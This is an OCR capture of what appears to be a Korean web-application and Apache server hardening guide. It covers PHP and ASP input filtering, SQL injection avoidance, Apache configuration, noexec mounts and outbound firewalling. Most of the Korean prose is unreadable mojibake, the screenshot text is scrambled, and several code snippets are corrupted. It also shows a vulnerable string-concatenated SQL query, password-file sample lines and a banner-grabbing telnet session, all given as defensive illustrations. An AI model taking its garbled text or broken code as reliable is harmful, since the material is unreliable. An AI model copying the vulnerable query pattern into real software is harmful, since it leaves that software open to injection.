— &% : Session Ao A= Q= BE FEE AARITH AMGA 211 ok &
Alzsoll ARg-siA 71E A4l HEE HEsk7] fsiA AR 4= Qlet,
~ 24 7Fs e IS : TIS 5.0014
- A

(% Session.Abandon %)

® Session. Timeout

— 8% Session iAol Time—out AlZHS 2= A|Aelch ARSALZRE 24
AITFESE 0] §l& A AlAe] AFs oz oIt

- 2-& 7F53HIIS : TIS 5.0014

— AR
» Session. Timeout : A4 Timeout Al 7|1 1002 A3t
* Session, Timeout = 15 : Al Timeout Al7hS "EAIEHTE,

(E AT 48~ 2088)

o ASPError ZiA12] output2 ARE-AF A AE5R] WAL
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e DB AL 984 COM+ A AFR-S 11]3k4}

* SQL #2E ASPolA A3 A5k A& A¥8taL, Stored procedures AHE-SH=S
alefsiAt,

- A A

strQuery = “SELECT something FROM table WHERE foo="" + varl + “* AND bar=""
+var2 + 7,

— Stored procedureS A3 A4S A

strQuery = sp_somefunc(vari, var2)

m PHP

o [PHP 4.0 o]AH 274 A4 (php.ini) W& 5 register globals ‘on” &2 AA3t 49
PHP A3 HES] M= 3h o2 WAT 4= = FoMdol Slth. whabA] register
global& “off’ & A3 & $ GET, $ POST #-& AR&-3|A] AREAZL Adet 2hS &
ofof gttt

9

register_global = Off

o PHP 239E 058 AAl7 A 9171 $I1314 PHP 87 4% weliphp,in)
ol olefel 2ol g,

log_error = On
display_errors = Off
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o utf8 decode()
- 4% UTF-8 §24]9] o2 712 1S0-8859-1 F4l o= Hslsfect, Hey 113
837 Mol AT RS AR
4 7153} PHP ©i71 : PHP 3.0.6 ©]4}

tlo

o strip_tags()

-85 EAEERE HTML 81219t PHP gj25 Qioich ARgAl7F =ish gk
HTML 3hde) &8 %$- ARE38llA] Cross—Site Scripting &2 th=|g
4= ek,

— 2¢ 7555+ PHP : PHP 3.0.8 °]4}

— AR

* strip_tags( {scripty’); 1 &= HTMLOIA] <seripty Bl71E A|ARI.
« strip_tags( {script)’, “script{iframe)’)
AR Rt E A EAES AASL, FHA QAR AH B 518
sict,

e htmlspecialchars()
-8 B4 x| tjgk HTML encodinge S~} ARSAP} QlEjst gloz
HTML #H|o| A Z FLAJ5}7] Aol AR5 Cross—Site Scripting 52 tH|E
A AR 4= SlTh
— 214 758 PHP : PHP 3 oA}
— AR

‘ htmispecialchars(*(a href=‘test )Test(/a)") ‘

- 3}

‘ &lt:a href=‘test &gt: Test&lt:/a;&gt; ‘
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e addslashes()
— 8% ! DB Query®} o] Q185 F2ero] dsdiFE ol wekeit s 4
o= 2R w3, 2w, 95941, NULLO] it SQL Injection 54
= FlelA ARE-EH.

|

I=

— A8 71531 PHP A : PHP 3 oA+

e include T+S H 5 5}1A}
— k9l g E2)(/lib, /include, /library’s)E AMEBIA] QHEE gl
—include L E2] BAAE inct lib 5= AMS= 7 %J #H|o|Z] Aol A Bl
E mtd2 2X]slA] FEE phps B9A ARSI (4l config.inc.php,
lib.inc. php 5)
— &0 SIS AR 7 ofe} o] i SRS AP 4= s <l AH
of| A “d7gsto] Foh

AddType application/x—httpd-php .lib .inc .html .htm .php .xml

e session_destroy
— &% ! Session Aol A= o] Q= HE JHE AA IR AMGA 2T ok 2R
Alz=ofl ARE3IA 71E Al AEE HEskr] A AR = Qi
- 28 7Fs%t PHP ¥4 : PHP 3 o4

o 9 ofZelo]d Hopy A B2 AMg
~ 30 ofZ el Aol FoPd A SIaA A B AHS I AR FHope 4
A,



M 3E SHIOIX| 7HLA] Bk

www.kisa.or.kr

- 3ME=TF=
* Nikto(37HZZ18) — http://www.cirt.net/code/nikto.shtml
 Whisker(&7HZZ2151) — http://www. wiretrip.net
¢ Retina(J8-Z2 I3 —eEye) — http://www.eeye.com

[ =)

H10H BExEsH SHAMA(MH MAnha)
L. #d 49
7L ML

st 87 Agole 9 ofFelAo|4e Soshs] QloiAl et Al4e Pzt

A A Hof WASH: BASS Wtk A sl sample 3+

A7) ) 7)2A 0 2 A 1 Tt Bt 2GR YR T e @
1 o 2 A G101 U & el 504 38 93 AL AEYT o e
Pjsto] eze] g, A29gn 2 Fa3 vel Jug A5 4 ol

Lt A Al

0 MY ohdo| =3

b o= = %ﬁﬂolxl oA AL e flsl 71 oAl uhde] Yie
A= AL 5 ok 2 HiF-29] Text A& AHE ] 4¢ +48& H3) 7€ 9=
4 BAE ANst] AR o Sl Al olet 54 AR uhdSo] A oA

Ao AP A xE AT 227t 2 5 ke Aol

o i e ase bk = Mool e at EASIGORE
(Er SEEY !)‘Im B|AHTAE EFI =SWH
[=55 -2 - QR 4] Ane @z Juln 3 B-I3F 83
| FA0) i) Mo/ M— eSO LTS

<=
set Cemsnfarver. Cronte(Bioct ("asadn, cernazt lon’)
connpath="driver={dy BILF iserver=localbest juid==dainiped= idatebasemtxl ™

Tenn, Qeen conneath

cim ld.sstinio

eetinfe="seleer I0,vitleddave.nitlonniy {ron sevetoble shore sloze='B0 &7
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inds —admin = Micmentt Infermet Exiplaar _Iij 24 nhpinfat) - Microsofl intermet Explars =10]x]
[ mRE EaE = SASIR 30 Eas) [ = | T i}i'lEl “EnE 2w ISHQIJI{A) D EERH) =
|| #5F - » - @[ | @2a menb @oon 352 9.8 5= | +5 -+ - @@ A Dan mexy doon 3|83 -0 -
20 [(£]) i i e sstrme chosrd,/ch-admin/ =] eOiE (22| @Snaat | 40 [E e phaino,pha =] @os |[22]| Gsnaot [
- [l e a1 TERRUEET L] =]
SERVER. lic,_fitral
Index of /cboard/cb—admin e et
_SERVER["HTTP_ACCEPT"] 3 F. SO,
: ; : | apphcationteshockwave-flash, 7™
Hane Last wodifisd Size Description SERVER ] P
["HTTP_ACCEPT_ENCODING|
’ Parent Dirgctary 1=-Jul -2004 11:48 e _SERVER _ |ereus
VS_FIP. Lo Vl-Jul-2004 1146 2 IHTIPSACORR L AAGET)
_SERVER s Eeap-hliva
sbout . hts 17-Jul-2004 11:43 Ik ["HTTP_CONNECTION”]
addnev-defaults . asp F7=Jul=2004 11:44 Ik _SERVER|"HTTP_COOKIE"] nhphbhnrali_dndala%mm%?ﬂe%amI%MZHMIMMZ%
B %AAIINIAS 228207 ET FESEI667 5Tdde97 3057168051 %I %IBE%
addney, asp 17-Jul-2004 11:43 16k ARG A% Jusend %A2HIEHEAZ RIARID
adnin, asp 17-dul-2004 11:44 Tk _SM'IUTPJNT'] domaincam — i i
defoult.zs P-dul-2004 11540 Bk SEDIITIIIR LR MU e 0o ; AR
delete. asp 17-Jul-2004 11:44 Ik _SERVER nazilard. 0 (compatinle; MSIE 6.0; Wendows NT 5.1; NETCLR 1.1.4323)
s ["HTTP_USER_AGENT™] ' i
(19 17=dul = 11:44
@ edit g 1oy l=200 o T _SERVERI"PATH"] Vaires b usuc bius s o
funct i ong, ass 17-Jul-2004 11:43 Sk _SERVERREMOTE ADDRY) |59.22 209 76
[ help/ 17-Jul-2004 11:45 = _SERVER["REMOTE_PORT"]  |4107
nay. asp I7-Jul-2004 11:44 2k _SERVER fnomezengublic_htmiphpnto.pap
I"SCRIPT FILEMAME"] £
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(Files ~“\.bak$")
Order allow,deny
Deny from all
{/Files)

o AT A8} AR AL
ofukx] ) Al 9B HaBIa7] S HAgho] WS 7H AHgA ofeltloh 1E
o2 IS 0] WIS 3 AR o] HBAE 2IYE T 4 G YA A

{/etc/passwd Tt LHZ)
nobody:x:9999:99999:Nobody:/:
(/etc/shadow I LHE)
nobody:*:11900:0:99999:7:::

= A2 ofla] AA A= nobody HeHe. 2 AldYel =S g} o] Agsict,

{httpd.conf LIZ)
User nobody
Group nobody

9o Ao ofuta| E ZRA A= T JHO root WFHY] ZEAACL U=
nobody @FOE T2 AT} AlYE T},
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o]z]o] ulelo ) 0:]73—‘— A3k A ol-d] o 740-%1 A §esly= tld
USER PID%CPU%MEM VSZ RSS TTY STAT START TIME COMMAND FiA1e] stdelut | Ee]ek dsto] AR <= Sl=d o 35 el A o 8 ohs HHE
root 968 0.0 0.8 2360 1036 ? S 09:45 0 :00 /ust/local/apache/bin/httpd 2] ojo] ot e E Axole dA7t EAh: A9 i FAE AT 4= Sl 9
nobody 978 0.0 0.8 2512 1080 ? S 09:45 0 :00 /usr/local/apache/bin/httpd s o] 23t o] YAL AAS] YAME P ED FAEQ upRriA =2

nobody 979 0.0 0.8 2512 1080 ? S 09:45 0 :00 /usr/local/apache/bin/httpd
nobody 980 0.0 0.8 2512 1080 ? S 09:45 0 :00 /usr/local/apache/bin/httpd
nobody 981 0.0 0.8 2512 1080 ? S 09:45 0 :00 /usr/local/apache/bin/httpd

httpd.conf T+ of| A DocumentRoot &5-2 ofje} o] 443t}

nobody 982 0.0 0.8 2512 1080 ? S 09:45 0 :00 /usr/local/apache/bin/httpd Zbirectory “Iust/local/www’>
Options FollowSymLinks ¢ H|7{stCt
o tJAE 2] Indexes A4 A {/Directory)

9 Beke Aol AgA7E URLS QRS B, obtx] 9 Ault 37k 392 3¢

Sict,
o PUT, POST, DELETE®] A&t

A7 AMAFE DocumentRoot HEE 2] #UE AR EsHAY 4ot 59 F9E
oh= A AglelES stofof sh=t) o]t Agto] 2A3] o]Fo] 2] 3FS 7 EHfo|A]
7 HREAY S 92 5= AT

ulakx] POST, PUT, DELETE Method= AlgH AREANE 7153t S sEAY o=
AME-BHA] Sote S ohgar o] ARl

~ A1 9 o] |
- gEEe W i
~ o] Al

o] % s PABL FARA BUAT YRE ATl AlHel tfet Be 4
5 Qe 71318 ABake Aol ol taEe] Y] wE nge] 2lay

HE 353
gl AL W8] 9s)A ool 7o) httpd.conf T o)Al DocumentRoot S-S 4= (Directory “/home/*/public_html")
Aslok 5 (Limit POST PUT DELETE)
JaljoF gitt, Require valid—user
{/Limit)

- Direct

(Directory “/usr/local/www”) B

Options Indexes & H|7StCt

{/Directory)
o 5] Ax 47170 2as
el e A 5 A Seo| Lo} Apacher} IS B 79 2 AHOIA S5 WAIA|9] Selo] 2 A v
3| o9 2N Ja= &3
U~ Alde] AAEI] A9 ABE 22 7150 s / system.htmDE ALESIe] T Aol 58 229 M o8 s,
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[root@ confl# telnet xxx.xxx.xxx.xxx 80

Trying XXX XXX XXX.XXX...

Connected 0 XXX XXX XXX XXX.

Escape character is ‘1’

GET / HTTP/11

HTTP/1.1 400 Bad Request

Date : Tue, 15 Oct 2002 11:25 : 10 GMT

Server : Apache/1.3.19 (Unix) PHP/4.0.4pll & MH HH HE

o] = FAA e &l Apache ¥ AH HAE = EEAL Qs S8 E= T 2
A1zl HPE FAsk=t 851 ol8-57] whitoll T ARAl 4 AH ] vt 22
banner JHE 57]= Zo] QPHsIT,

Apache 9 A elA= httpd.conf W&l ServerTokens AJAJAHE AFdste] sl|tie] 9
3l AEs)=s JEE H4s) g 4= Qlrt

ServerTokens Minimal | ProductOnly | OS | Full

(# 3-2) 8%E M8=l= &ld =

HE1S M35t R ol
Prod[uctOnly] 4 MY EF Server: Apache
Minfimal] Prod 7|19E ME ME + 2 M HZA Server: Apache/1.3.0
in 7194= T2 & j
oS M'Qt.i“;f fis g + Server: Apache/1.3.0 (Unix)
Ful 0S 7|19E Ma FE + Server: Apache/1.3.0 (Unix)
ARE 2EEemz2aM) e PHP/3.0 MyMod/1.2

X 219] LHE2 hitpd.confoil M 7[2Hez HYE0f QUX| o LIEAR! 7|2 4F2 Fullo|ct,

o of|2] HAJR] =7

oA AR FAANAl 0] EREA FEiFe FAE ST o= A 3AR=
Zyzre] Ao sl vheket 54 WS AlEd o | ok ApacheollA ol HIAAIE
Ae]ohe Wi 472 Lol

— bkt AR A A ol WAIA] &

AR F =5 WA A] &

EAY A& s2317] $1%F 22 URLE Redirection
- EAIU o E alldsH7] Y3t )5 URLE Redirection

ol 7P HHZAQ] W o ofe] HolXE ARkste] 2479 of2] o] tfs) of
& H|0]2] 2 Redirection A]7]%= B olc},

httpd.conf 2t oA ofzlje} 2Fo] A7t

ErrorDocument 404 /error_page.html

o TR0l 1] HEA)

Bejao] A 7hg BEojok 3 so|X| % g AFHH O HLS 5 §atelof Flek
71807 EA TP Addressol e BT 3185 1 919 RE M2 AusHs S|
Hleai}, 0|2 918 httpd.conf TG ThaT} o] Ak},

(Directory “/usr/local/www/admin/")

order deny,allow

deny from all

allow from 100.100.1000.100 ¢ 100.100.1000.1000|AM2t B2 5
{/Directory)
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o 54 Tlo] g 157] WA
Q1)) ALGA7E 9 Beko Aol A B4 WL Qligo A T L B 4 Q]
012 AJ5t] 9J5tod 87 A skelhttpd.conf)elA ofefek 2ol i,

— of}x] 9 Auje] 55

AddType application/x—httpd-php .php .php3 .inc .html .phtml .bak
AddType application/x—httpd—php—source .phps

oA AddType application/x—httpd—phpte S15-5-2] 22} EFI(php .php3 .inc
html  phtmloll thste] HaS Al7l= A3ads 98 = Aoloh wehA o] Fio
.inc, .bak®} o] RS Y A] application /x—httpd—php 53+ F2HA7| 02 1}
U -85 HofF=A] 9| == Aol

- CGI® 45
httpd. confollA B3t o] A3t

(Directory ‘CGIZ &1&3tuxt &t= ClHEZ]")

{/Directory)
AddHandler cgi-script .cgi .pl

- PHP2| %

PHPE AHg-310] 7128kt 9)el Errort} Warning WA 218 445 5t sl o] v
A2 9 FHIAIA 7 SAE CGLS) B HAAES A2849) 15t o $88 FAI5)
o] £}, o5 olg o] FANE /lib, /inc, /admin’ HoIZ|7] olobst Ax7} el

AR 7112 Qi o] & AlASH| aliAl+= php.inithe] A% FollA] display errors 4k
< Off& AAsto] &,

display_errors = Off

&, PHPoIA: 2 519 ejlo] @& ARgslol shg ehele] ofof xS Selah ot
WS A

$abc = @mysqgl_connect($connect, $id, $pw);
@$abc = mysgl_connect($connect, $id, $pw);

$abe = @mysgl_connect($connect. $id, $pw):
$abc = mysgl_connect($connect. $id. fpw): @%abe = mysal_connect{$connect. Sid. Bpw):

Waring: irs_connects [ m:L sttt Aecess
geriad for uses: “nobadydios Q&{ummnm B
st o Cal b Dl INCILGRAEDC, B 00

T I [ T I e

il

e ] e ) -

ity

(32! 3-17) Errer Message &7|7|

o £Q THAA|AH A7 WA
Z| ol Whygh 4 sf7) e 7, o TR IS /tmp, /dev/shms 2] HEE o] of
A Z2OWS YQREE k= H97F Houg Jete/fstabd] WS A5l dld YA E

o AU AASIEE e
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/dev/hda5 on / type ext3 (rw)

none on /proc type proc (rw)

none on /dev/pts type devpts (rw,gid=5mode=620)
/dev/hdal on /boot type ext3 (rw)

none on /dev/shm type tmpfs (rw,noexec)

/dev/hda9 on /tmp type ext3 (rw,noexec,nosuid,nodev)
/dev/hda6 on /var/lib type ext3 (rw,nosuid)

/dev/hda7 on /var/log type ext3 (rw,noexec,nosuid,nodev)
/dev/hda8 on /var/spool type ext3 (rw,noexec,nosuid,nodev)

X

ZQF

283,

7 $-olli= mount HE& A 3sto]

'

4 W8

i

mount —o remount /dev/shm
mount —o remount /dev/tmp

T3, apache ¥ AJH 9] AAutdo] §JA|sh= HEEe] o] AUk 700L% W5t 5}
L= 31t} (of]: chmod 700 /usr/local/apache/conf)

ST oA 7HE Kot 7to]=




www.kisa.or.kr

# 7lo|=t AT MAET G FujolA) YAl Fa Uglo] 4 ojEeiAolag

== QISR qlehe Aol utet g ofZelAold Al mefstolo} skt A 31
g 27hsha, S 8 ) ofZelAol el meithel thaf Afstsich, & sjol =t
Eo|x] A} Lgx7} Follol 4] Hely Zutshd] ARl m8o] B 4 glglow
3,

Fololx] shgAbaL Ttk Folold] Blx SelA] 1A Wt ohje} o} ol gt
5)4) Aol b o] HRE §Este] ohh Fo MAAR AREoR W
s qie,

Folold] A QlEYE 8] oA GelA ol A2goln Fojol g Fof 2

% 9l AN Ul DBole] Qo) ofs) 1A Ax, B R AR 5 AR 71
R LER XVPEW_ olo] AR s vieEel AT o] Bl it o] 4
FolXo] BEE 9D FAEs} 248 27 gons FuelHd] dat HTAEE
27 9 Aol

Sl B FololX] A 2 BRI EL FololA] Bote] FaAS
Qo] T ) 30117} a2 8710 olal BAYSIE ALt Hlel o

Q14j5HA) Bt

)12
= Ao,

H1§ BEAOE AT EololAE FEa] e FEolFt obd AA - P
Aol WA PRBEE Tefehs Hlo] FaFhe thl B Fstid) st B3], o
AFgAL50] A83H 714 Hefe] Y ofBel ol A5 ol5e] mek Foro] uz o)
of MElo] BokEA|S 23 A o] ojZeAolAS Aol FoolAS PET SHE
AFgAFE0] ThA] 2% A g3tolof sh Swatat ulgo] 40 4 el gtk




www.kisa.or.kr

mz I Eonm
[1] ZEiE 2| 121 X, Taeyo's ASP LU=, AUEEAL 2002, [22] Mark E. Donaldson, Inside the Buffer Overflow Attack: Mechanism, Method, & Prevention,
[2] AM Z2 JSP, hitp://www.jabook.org/index.html SANS, 2002.
(3] ettt =2 IR, 2002, [23] PHP OHFY, http://www.php.net/
http://doc.kldp.org/HOWTO//html/Secure—Programs—HOWTO/index.html [24] PHP and OWASP Top ten security vulnerabiliies, OWASP 2003.
[4] & JHEt HOtII0|E V2.0, LG CNS HEHOIE! 2004, [25] Richard Power, 2002 CSI/FBI Computer Crime and Security Survey, Computer Security
(5] & Mu{ HOt a| 710|=, KISA, 2003, Issues & Trends, 2002,
[6] 974 ASPNETZ} IS, 12|17 =2 20009] =t 27| ZDNet Korea, 2002, [26] Sascha Schumann, Harish Rawa, Jesus M. Castagnetto, Professional PHP Programming,
[7] 984, & MY ZEXIE 8t IS 5.0, SIX[ESTAL 2001. WROX, 1999
[8] 0158 X, PHP & == 72l 710|=, Ot0|Epress, 2001. [27] Security at the Next Level Are Your Web Applications Vulnerable, SPI LABS.
[9] OIxKZ 2| 32! X, about JSP, %"E‘%‘LN 2001. [28] Shinichi Sato A, IS5 ASP Scripting guide, EXIEEtAL 2001.
[10] RI5Q, 2= 2l AH| 2Ot CHEETAL 2002, [29] Simson Garfinkel, Gene Spafford Web Security, Privacy & Commerce, OReilly, 2001.
[11] EiR2| ASP ZZt hitp://www.taeyo.pe.kr/ [30] The Ten Most Critical Web Application Security Vulnerabiliies, OWASP, 2004.
[12] SI=2HEESTISH QEHIRGHAIICHEX|HME SAHZEE [31] Tracy, M., Jansen, W. and McLarnon, M., Guidelines on Securing Public Web Servers,
htto://www.krcert.or kr NIST, 2002.

13] A Guide to Building Secure Web Applications, version 1.0, OWASP.,
14] A Security Checklist for Oracle 9i
15] Apache HTTP Server Version 1.3 Documentation

16] ASP.NET &0t q
ot

http://ko.gotdotnet.com/quickstart/aspplus/doc/tracelogapp.aspx n

[
[
[
[

[17] Avied D. Rubin, Daniel Geer, Marcus J. Ranum, Web Security Souce Book, John Wiley &
Sons, Inc, 1997 %]Iﬂolxl 7"% E?J j|'0|E
[18] Improving web security threats and countermeasures, Microsoft MSDN Home ) MSDN
Library ) .NET Development > .NET Security
[19] Ken Coar, Securing Your Web Pages with Apache, 2000.
[20] Ken Coar, Using .htaccess Files with Apache, 2000.

[21] Klaus—Peter Kossakowski and Julia Allen, Securing Public Web Servers, CERT, 2000. / ——




HE 1, f ol

e b b

1. OS HIL{E E2A0|E

0s 57 AOIE F&

F2 AIO|E Z|AE

Redhat http:/Aww,redhat.com/security/updates/
FreeBSD http://www.freebsd.org/security/
NetBSD http://www.netbsd.org/Security/
OpenBsD o S ——
HP True4 http://h30097. www3 hp.com/unix/security—download.html
IBM AIX http://www.ibm.com/support/us/
Solaris http://sunsolve.sun.com/pub-cgi/show.pl?target=home
SGI IRIX http://www.sgi.com/support/security/
oy ety
Caldera http://www.caldera.com/support/security/
Debian http://www.debian.org/security/
Mandriva Linux http://www.mandriva.com/security
Slackware http://www.slackware.com/security/
Suse http://www.suse.com/us/security/
Turbo http:/Avww, turbolinux.com/security/

2. FQ HYIA AO|E

MOIES AfoO|E FA

Securityfocus http://www.securityfocus.com
securiTeam.com http://www.securiteam.com
Linuxsecurity http://www linuxsecurity.com
ICAT http://icat.nist.gov
ISS http://xforce.iss.net
PacketStorm http://packetstormsecurity.nl
KrCERT http://www.krcert.or.kr
Securitymap http://www.securitymap.net
QHEGITIA http://home.ahnlab.com
sta http://www.hauri.co.kr
symantec security response http://securityresponse.symantec.com
Trend http://www.trendmicro.com/vinfo
Mcafee http://www.mcafee.com
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asp alliance http://www.aspalliance.com/
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Exploiting Common Vulnerabilities
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Java Security

http://java.sun.com/security/

Java Security Frequently
Asked Questions

http://www.cs princeton.edu/sip/fag/java—faq.php3

Open Web Application
Security Project

http://www.owasp.org/

www.asp.net

http://www.asp.net/
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|
.|
k

AO|EY
ApacheWeek Security

AOIE A&

http://www.apacheweek com/security/

Apache Tutorials

http://httpd.apache.org/docs/misc/tutorials.html

Apache SSL http://www.apache-ssl.org/
Securinvg‘;m\goxrrjavgﬁg Pages http://apache—server.com/tutorials/LPauth.html

The Apache Korea Group

http://www.apache—kr.org/

Apache—-server.com

http://apache—server.com/

5. 1IS & MHECHAIE
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K

AlO|EH

IIS 5.0 Resource Guide —
Chapter 9 Security

AOIE FA

http://www.microsoft.com/technet/prodtechnol/windows2000s
erv/technologies/iis/reskit/ischp9.mspx

IIS 5.0 Baseline Security
Checklist*

http://www.microsoft.com/technet/archive/security/chklist/is5c
L.mspx?mir=true

Manage Security of Your
Windows IS Web Services

http://www.microsoft.com/technet/archive/security/bestprac/m
cswebbp.mspx?mfr=true

NSA Guide to the Secure
Configuration and Administration
of Microsoft IS 5.0

http://nsa2.www.conxion.com/win2k/guides/w2k—14.pdf

eEye Advisories and Alerts

http://www.eeye.com/html/Research/Advisories/index htmi
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(allow _url fopen)= -85} ¢Fo|&Q] L2 TH-& 24 Arjof|A] AgPA|] o2 HF
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® php.ini #tAoJA thaat o] A7l

allow_url_fopen = Off
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e httpd.conf TtA oA E4 E5o]x] =H|(e]E 5] www.abc.co kr)ol th3ah -2
AL Z7)aict

(VirtualHost www.abc.co.kr)
ServerAdmin webmaster@abc.co.kr
DocumentRoot /home/abc/public_html
ServerName www.abc.co.kr
php_admin_flag allow_url_fopen On < &7}
{/VirtualHost)
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- MZEE : http://www.nzeo.com

— HIZ=E : hitp://www.technote.co.kr
— J%HE : hitp://sir.cokr

— KorWeblog : http://kldp.net

— phpBB : http://www.phpbb.com

IV. Outbound E= A3t 473
o W M-& A4S & & o Zeet HedAS ol 3718 I YUATAIAEE o] &5}
o] Inbound/Outbound EZ|H-& A|§stc}

X 2l5A FD0IME= iptables E= ipchains RIURITIAIAEID| 7|2Xo2 NZET UCH,
iptables A& =791 oops LI0|EE &2 K=
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— ipchains : hitp://doc.kldp.org/Translations/IPCHAINS—HOWTO HE 3, 7iQIgEe| 7|8X - &2|™ BHSXX| 7|&F
—iptables : http://wiki.kldp.org/wiki, php/LinuxdocSgml/Packet%5F Filtering—
TRANS
— oops firewall : http://www.oops.org/?t=lecture&sb=firewall&n=1 HEEAE 7] 42007 -33
HEFAY o] 857 W JHHET Fof W3k HE Al Al3xe)2¢] what 7j1A K o]
o A A AIAGER) N dish A S 7, o] BAR Sk ARIAEE) 7167 - BelH BRI 23] Z|EIREARLA] A2005-18F, 2005, 3. 24)% vheI} 2
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20073 1¢ 29¢ JH-SA A
XER MHIAEE) of : FTP(21), SSH(22), SMTP(25), DNS(53), SSL(443) &

o U3 iptables& A0t} Fuf[o]A] Aofla] et AJARLS 2] Outbound E22]

< Azl dAlolc}, o17]4 Outbound EfH Z WIEA] a3t 522 FARO| ) /MR HO] 7]&A - AYA B R X 7|2
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